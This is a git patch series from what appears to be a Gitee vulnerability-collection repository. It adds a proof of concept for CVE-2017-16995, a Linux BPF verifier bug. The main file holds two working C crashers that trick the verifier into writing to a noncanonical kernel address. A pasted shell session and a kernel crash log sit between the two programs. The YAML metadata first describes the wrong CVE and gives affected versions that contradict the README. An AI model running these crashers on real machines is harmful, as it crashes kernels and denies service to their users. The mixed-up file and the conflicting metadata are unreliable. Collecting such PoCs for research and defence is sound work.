From a89dbd6c044b556468abb2399606ef4ea3fa7c62 Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Wed, 19 Apr 2023 12:35:53 +0000 Subject: [PATCH 01/11] =?UTF-8?q?=E6=96=B0=E5=BB=BA=202012?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/linux-kernel/2012/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/linux-kernel/2012/.keep diff --git a/cve/linux-kernel/2012/.keep b/cve/linux-kernel/2012/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From 8bd56b84b3c38465cb682409dc31d1d5f71f57c0 Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Wed, 19 Apr 2023 12:49:50 +0000 Subject: [PATCH 02/11] =?UTF-8?q?=E6=96=B0=E5=BB=BA=20CVE-2017-16995?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/linux-kernel/2017/CVE-2017-16995/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/linux-kernel/2017/CVE-2017-16995/.keep diff --git a/cve/linux-kernel/2017/CVE-2017-16995/.keep b/cve/linux-kernel/2017/CVE-2017-16995/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From 946a311b22efbd9a734f6542cde47a35404d001d Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Wed, 19 Apr 2023 13:13:04 +0000 Subject: [PATCH 03/11] rename cve/linux-kernel/2017/CVE-2017-16995/.keep to cve/linux-kernel/2017/CVE-2017-16995/README.md. Signed-off-by: Tianxu Han --- cve/linux-kernel/2017/CVE-2017-16995/.keep | 0 cve/linux-kernel/2017/CVE-2017-16995/README.md | 1 + 2 files changed, 1 insertion(+) delete mode 100644 cve/linux-kernel/2017/CVE-2017-16995/.keep create mode 100644 cve/linux-kernel/2017/CVE-2017-16995/README.md diff --git a/cve/linux-kernel/2017/CVE-2017-16995/.keep b/cve/linux-kernel/2017/CVE-2017-16995/.keep deleted file mode 100644 index e69de29b..00000000 diff --git a/cve/linux-kernel/2017/CVE-2017-16995/README.md b/cve/linux-kernel/2017/CVE-2017-16995/README.md new file mode 100644 index 00000000..0059542b --- /dev/null +++ b/cve/linux-kernel/2017/CVE-2017-16995/README.md @@ -0,0 +1 @@ +The check_alu_op function in kernel/bpf/verifier.c in the Linux kernel through 4.4 allows local users to cause a denial of service (memory corruption) or possibly have unspecified other impact by leveraging incorrect sign extension. \ No newline at end of file -- Gitee From f241c61dfefade974a2959b89a02563f44b8d221 Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Wed, 19 Apr 2023 13:15:15 +0000 Subject: [PATCH 04/11] add cve/linux-kernel/2017/CVE-2017-16995/POC.C. Signed-off-by: Tianxu Han --- cve/linux-kernel/2017/CVE-2017-16995/POC.C | 579 +++++++++++++++++++++ 1 file changed, 579 insertions(+) create mode 100644 cve/linux-kernel/2017/CVE-2017-16995/POC.C diff --git a/cve/linux-kernel/2017/CVE-2017-16995/POC.C b/cve/linux-kernel/2017/CVE-2017-16995/POC.C new file mode 100644 index 00000000..62c099c8 --- /dev/null +++ b/cve/linux-kernel/2017/CVE-2017-16995/POC.C @@ -0,0 +1,579 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* start from kernel */ +#define BPF_EMIT_CALL(FUNC) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_CALL, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = (FUNC) }) /* ??? */ +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) +#define BPF_REG_ARG1 BPF_REG_1 +#define BPF_REG_ARG2 BPF_REG_2 +#define BPF_REG_ARG3 BPF_REG_3 +#define BPF_REG_ARG4 BPF_REG_4 +#define BPF_REG_ARG5 BPF_REG_5 +#define BPF_PSEUDO_MAP_FD 1 +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) +#define BPF_ALU32_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) +#define BPF_ALU32_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) +/* Memory store, *(uint *) (dst_reg + off16) = src_reg */ +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) +#define BPF_REG_FP BPF_REG_10 +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_REG_TMP BPF_REG_8 +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +/* end from kernel */ + + +int bpf_(int cmd, union bpf_attr *attrs) { + return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); +} + +void array_set(int mapfd, uint32_t key, uint32_t value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (uint64_t)&key, + .value = (uint64_t)&value, + .flags = BPF_ANY, + }; + + + int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr); + if (res) + err(1, "map update elem"); +} + + +int main(void) { + union bpf_attr create_map_attrs = { + .map_type = BPF_MAP_TYPE_ARRAY, + .key_size = 4, + .value_size = 8, + .max_entries = 16 + }; + int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs); + if (mapfd == -1) + err(1, "map create"); + + + array_set(mapfd, 1, 1); + + char verifier_log[100000]; + struct bpf_insn insns[] = { + BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), + + // fill r0 with pointer to map value + BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack + BPF_MOV32_IMM(BPF_REG_ARG2, 1), + BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0), + BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP), + BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2), + BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit + BPF_EXIT_INSN(), // exit + + // r1 = 0xffff'ffff, mistreated as 0xffff'ffff'ffff'ffff + BPF_MOV32_IMM(BPF_REG_1, 0xffffffff), + // r1 = 0x1'0000'0000, mistreated as 0 + BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1), + // r1 = 0x1000'0000'0000'0000, mistreated as 0 + BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 28), + + // compute noncanonical pointer + BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), + + // crash by writing to noncanonical pointer + BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef), + BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0), + + // terminate to make the verifier happy + BPF_MOV32_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN() + }; + union bpf_attr create_prog_attrs = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = sizeof(insns) / sizeof(insns[0]), + .insns = (uint64_t)insns, + .license = (uint64_t)"", + .log_level = 2, + .log_size = sizeof(verifier_log), + .log_buf = (uint64_t)verifier_log + }; + int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); + if (progfd == -1) { + perror("prog load"); + puts(verifier_log); + return 1; + } + puts("ok so far?"); + + int socks[2]; + if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) + err(1, "socketpair"); + if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) + err(1, "setsockopt"); + if (write(socks[1], "a", 1) != 1) + err(1, "write"); + char c; + if (read(socks[0], &c, 1) != 1) + err(1, "read res"); + return 0; +} +user@...ian:~/bpf_range$ gcc -o crasher_badimm crasher_badimm.c -Wall +&& ./crasher_badimm +ok so far? +Segmentation fault +====================================== + + +Here is the resulting crash (note the corrupted heap address in R15): + +====================================== +[10599.403881] general protection fault: 0000 [#6] SMP KASAN +[10599.403886] Modules linked in: binfmt_misc snd_hda_codec_generic +crct10dif_pclmul crc32_pclmul ghash_clmulni_intel snd_hda_intel +snd_hda_codec pcbc snd_hda_core qxl snd_hwdep snd_pcm snd_timer ttm +aesni_intel snd ppdev aes_x86_64 drm_kms_helper parport_pc crypto_simd +soundcore glue_helper drm parport evdev cryptd sg serio_raw pcspkr +virtio_console virtio_balloon button ip_tables x_tables autofs4 ext4 +crc16 mbcache jbd2 fscrypto sr_mod cdrom sd_mod ata_generic 8139too +ehci_pci ata_piix uhci_hcd libata ehci_hcd 8139cp crc32c_intel mii +virtio_pci psmouse usbcore virtio_ring scsi_mod virtio i2c_piix4 +floppy +[10599.403952] CPU: 7 PID: 1610 Comm: crasher_badimm Tainted: G B D + 4.15.0-rc1+ #4 +[10599.403954] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), +BIOS 1.10.2-1 04/01/2014 +[10599.403957] task: 000000004ae6ce3e task.stack: 000000006149ccc2 +[10599.403963] RIP: 0010:___bpf_prog_run+0x1a77/0x2490 +[10599.403966] RSP: 0018:ffff8801ef6bf838 EFLAGS: 00010292 +[10599.403969] RAX: 0000000000000000 RBX: ffffc900016150b8 RCX: ffffffff866483d7 +[10599.403971] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0fff8801ac393b78 +[10599.403974] RBP: ffff8801ef6bf968 R08: 0000000000000000 R09: 0000000000000000 +[10599.403976] R10: 0000000000000001 R11: ffffed00358726b9 R12: ffffffff870be980 +[10599.403978] R13: 1ffff1003ded7f0e R14: 00000000deadbeef R15: 0fff8801ac393b78 +[10599.403981] FS: 00007fd705b43700(0000) GS:ffff8801f77c0000(0000) +knlGS:0000000000000000 +[10599.403984] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[10599.403986] CR2: 0000561c31a24008 CR3: 00000001b153b002 CR4: 00000000001606e0 +[10599.403991] Call Trace: +[10599.403997] ? sk_filter_trim_cap+0x5c/0x4e0 +[10599.404000] ? bpf_jit_compile+0x30/0x30 +[10599.404006] ? alloc_skb_with_frags+0x90/0x2c0 +[10599.404010] ? __bpf_prog_run32+0x83/0xc0 +[10599.404013] ? __bpf_prog_run64+0xc0/0xc0 +[10599.404017] ? sk_filter_trim_cap+0x5c/0x4e0 +[10599.404022] ? sk_filter_trim_cap+0xf7/0x4e0 +[10599.404028] ? unix_dgram_sendmsg+0x3e2/0x960 +[10599.404033] ? entry_SYSCALL_64_fastpath+0x1e/0x86 +[10599.404036] ? entry_SYSCALL_64_fastpath+0x1e/0x86 +[10599.404040] ? sock_alloc_inode+0x46/0x110 +[10599.404043] ? unix_stream_connect+0x840/0x840 +[10599.404046] ? __sock_create+0x7f/0x2c0 +[10599.404049] ? entry_SYSCALL_64_fastpath+0x1e/0x86 +[10599.404054] ? __lock_acquire.isra.31+0x2d/0xb40 +[10599.404059] ? __wake_up_common_lock+0xaf/0x130 +[10599.404065] ? unix_stream_connect+0x840/0x840 +[10599.404068] ? sock_sendmsg+0x6b/0x80 +[10599.404071] ? sock_write_iter+0x11d/0x1d0 +[10599.404075] ? sock_sendmsg+0x80/0x80 +[10599.404080] ? do_raw_spin_unlock+0x86/0x120 +[10599.404084] ? iov_iter_init+0x77/0xb0 +[10599.404089] ? __vfs_write+0x23e/0x340 +[10599.404092] ? kernel_read+0xa0/0xa0 +[10599.404098] ? __fd_install+0x5/0x160 +[10599.404102] ? __fget_light+0x9b/0xb0 +[10599.404107] ? vfs_write+0xe9/0x240 +[10599.404110] ? SyS_write+0xa7/0x130 +[10599.404121] ? SyS_read+0x130/0x130 +[10599.404125] ? lockdep_sys_exit+0x16/0x8e +[10599.404129] ? lockdep_sys_exit_thunk+0x16/0x2b +[10599.404133] ? entry_SYSCALL_64_fastpath+0x1e/0x86 +[10599.404138] Code: 00 48 0f bf 43 fa 49 01 c7 0f b6 43 f9 c0 e8 04 +0f b6 c0 4c 8d 74 c5 00 4c 89 f7 e8 04 4a 0f 00 4d 8b 36 4c 89 ff e8 +79 49 0f 00 <45> 89 37 e9 17 e6 ff ff 48 8d 7b 01 e8 58 47 0f 00 0f b6 +43 01 +[10599.404200] RIP: ___bpf_prog_run+0x1a77/0x2490 RSP: ffff8801ef6bf838 +[10599.404204] ---[ end trace e8c17e9abe81bd46 ]--- +====================================== + + + + +=== PoC for "bpf: fix incorrect tracking of register size truncation" === +Here is a crasher that uses this to again write to a noncanonical address: + + +====================================== +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* start from kernel */ +#define BPF_EMIT_CALL(FUNC) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_CALL, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = (FUNC) }) /* ??? */ +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) +#define BPF_REG_ARG1 BPF_REG_1 +#define BPF_REG_ARG2 BPF_REG_2 +#define BPF_REG_ARG3 BPF_REG_3 +#define BPF_REG_ARG4 BPF_REG_4 +#define BPF_REG_ARG5 BPF_REG_5 +#define BPF_PSEUDO_MAP_FD 1 +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) +#define BPF_ALU32_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) +#define BPF_ALU32_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) +/* Memory store, *(uint *) (dst_reg + off16) = src_reg */ +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) +#define BPF_REG_FP BPF_REG_10 +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_REG_TMP BPF_REG_8 +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +/* end from kernel */ + + +int bpf_(int cmd, union bpf_attr *attrs) { + return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); +} + +void array_set(int mapfd, uint32_t key, uint32_t value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (uint64_t)&key, + .value = (uint64_t)&value, + .flags = BPF_ANY, + }; + + + int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr); + if (res) + err(1, "map update elem"); +} + + +int main(void) { + union bpf_attr create_map_attrs = { + .map_type = BPF_MAP_TYPE_ARRAY, + .key_size = 4, + .value_size = 8, + .max_entries = 16 + }; + int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs); + if (mapfd == -1) + err(1, "map create"); + + + array_set(mapfd, 1, 1); + + char verifier_log[100000]; + struct bpf_insn insns[] = { + BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), + + // fill r3 with value in range [0x0, 0xf], actually 0x8: + // first load map value pointer... + BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack + BPF_MOV32_IMM(BPF_REG_ARG2, 1), + BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0), + BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP), + BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2), + BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit + BPF_EXIT_INSN(), // exit + + // ... then write, read, mask map value + // (tracing actual values through a map is impossible) + BPF_MOV32_IMM(BPF_REG_3, 8), + BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_3, 0), + BPF_LDX_MEM(BPF_W, BPF_REG_3, BPF_REG_0, 0), + BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 0xf), + + // load r1=0xffff'fff8 while working around the first verifier bug + BPF_MOV32_IMM(BPF_REG_1, 0xfffffff8>>1), + BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_1), + + // r1 in range [0xffff'fff8, 0x1'0000'0007] + BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3), + + // load r2=0 + BPF_MOV32_IMM(BPF_REG_2, 0), + + // trigger verifier bug: + // visible range: [0xffff'fff8, 0xffff'ffff] + // hidden range: [0, 7] + // actual value: 0 + BPF_ALU32_REG(BPF_ADD, BPF_REG_1, BPF_REG_2), + + // collapse down: verifier sees 1, actual value 0 + BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 31), + + // flip: verifier sees 0, actual value 1 + BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), + BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, -1), + + // r1 = 0x1000'0000'0000'0000, verifier sees 0 + BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 60), + + // compute noncanonical pointer + BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), + + // crash by writing to noncanonical pointer + BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef), + BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0), + + // terminate to make the verifier happy + BPF_MOV32_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN() + }; + union bpf_attr create_prog_attrs = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = sizeof(insns) / sizeof(insns[0]), + .insns = (uint64_t)insns, + .license = (uint64_t)"", + .log_level = 2, + .log_size = sizeof(verifier_log), + .log_buf = (uint64_t)verifier_log + }; + int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); + if (progfd == -1) { + perror("prog load"); + puts(verifier_log); + return 1; + } + puts("ok so far?"); + + int socks[2]; + if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) + err(1, "socketpair"); + if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) + err(1, "setsockopt"); + if (write(socks[1], "a", 1) != 1) + err(1, "write"); + char c; + if (read(socks[0], &c, 1) != 1) + err(1, "read res"); + return 0; +} \ No newline at end of file -- Gitee From 610be9dde09d9c64236f19f8e1aac28e9d2c8b89 Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Wed, 19 Apr 2023 13:17:22 +0000 Subject: [PATCH 05/11] add cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml. Signed-off-by: Tianxu Han --- .../2017/yaml/CVE-2017-16995.yaml | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml diff --git a/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml new file mode 100644 index 00000000..95cfd7b8 --- /dev/null +++ b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml @@ -0,0 +1,20 @@ +id: CVE-2017-16995 +source: https://www.openwall.com/lists/oss-security/2017/12/21/2 +info: + name: Linux内核是Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + 由于UFO到非UFO的路径切换,导致可被利用的内存损坏。 + scope-of-influence: + linux_kernel <= 4.13.9 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2017-1000112 + - https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112 + classification: + cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.0 + cve-id: CVE-2017-1000112 + cwe-id: CWE-362 + cnvd-id: None + kve-id: None + tags: kernel, Privelege Escalation \ No newline at end of file -- Gitee From ed16a944457b875b5393c0373c9772dadace968e Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Wed, 19 Apr 2023 13:23:00 +0000 Subject: [PATCH 06/11] update cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml. Signed-off-by: Tianxu Han --- cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml index 95cfd7b8..3db4a26f 100644 --- a/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml +++ b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml @@ -4,17 +4,17 @@ info: name: Linux内核是Linux基金会的开源操作系统Linux所使用的内核。 severity: high description: | - 由于UFO到非UFO的路径切换,导致可被利用的内存损坏。 + Linux内核中kernel/bpf/verifier.c的check_alu_op函数在4.4之前允许本地用户通过利用不正确的符号扩展导致拒绝服务(内存损坏)或可能产生不明的其他影响。 scope-of-influence: - linux_kernel <= 4.13.9 + linux_kernel >=4.9 reference: - - https://nvd.nist.gov/vuln/detail/CVE-2017-1000112 - - https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112 + - https://nvd.nist.gov/vuln/detail/cve-2017-16995 + - https://github.com/C0dak/CVE-2017-16995 classification: - cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.0 - cve-id: CVE-2017-1000112 - cwe-id: CWE-362 + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2017-16995 + cwe-id: CWE-119 cnvd-id: None kve-id: None - tags: kernel, Privelege Escalation \ No newline at end of file + tags: kernel, memory corruption \ No newline at end of file -- Gitee From b996e7c703cc87152ead8216d792730d5436f446 Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Wed, 19 Apr 2023 13:24:17 +0000 Subject: [PATCH 07/11] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/linux-kernel/2012?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/linux-kernel/2012/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/linux-kernel/2012/.keep diff --git a/cve/linux-kernel/2012/.keep b/cve/linux-kernel/2012/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From adf30e5342faab40ce86333ddc61613f7b9a7293 Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Wed, 19 Apr 2023 13:25:57 +0000 Subject: [PATCH 08/11] update other_list.yaml. Signed-off-by: Tianxu Han --- other_list.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/other_list.yaml b/other_list.yaml index 614872af..8b89200b 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -16,6 +16,7 @@ cve: - CVE-2018-18955 - CVE-2011-4917 - CVE-2011-4916 + - CVE-2017-16995 polkit: - CVE-2021-3560 Outlook: -- Gitee From 3fa1f180ed6afa27ff63ff9196b11f38ab4158a8 Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Wed, 19 Apr 2023 13:30:20 +0000 Subject: [PATCH 09/11] rename cve/linux-kernel/2017/CVE-2017-16995/POC.C to cve/linux-kernel/2017/CVE-2017-16995/POC.c. Signed-off-by: Tianxu Han --- cve/linux-kernel/2017/CVE-2017-16995/{POC.C => POC.c} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename cve/linux-kernel/2017/CVE-2017-16995/{POC.C => POC.c} (100%) diff --git a/cve/linux-kernel/2017/CVE-2017-16995/POC.C b/cve/linux-kernel/2017/CVE-2017-16995/POC.c similarity index 100% rename from cve/linux-kernel/2017/CVE-2017-16995/POC.C rename to cve/linux-kernel/2017/CVE-2017-16995/POC.c -- Gitee From 9d6d1dee07ff8dee264bd29145aeb58ce716df5d Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Fri, 21 Apr 2023 14:57:47 +0000 Subject: [PATCH 10/11] update 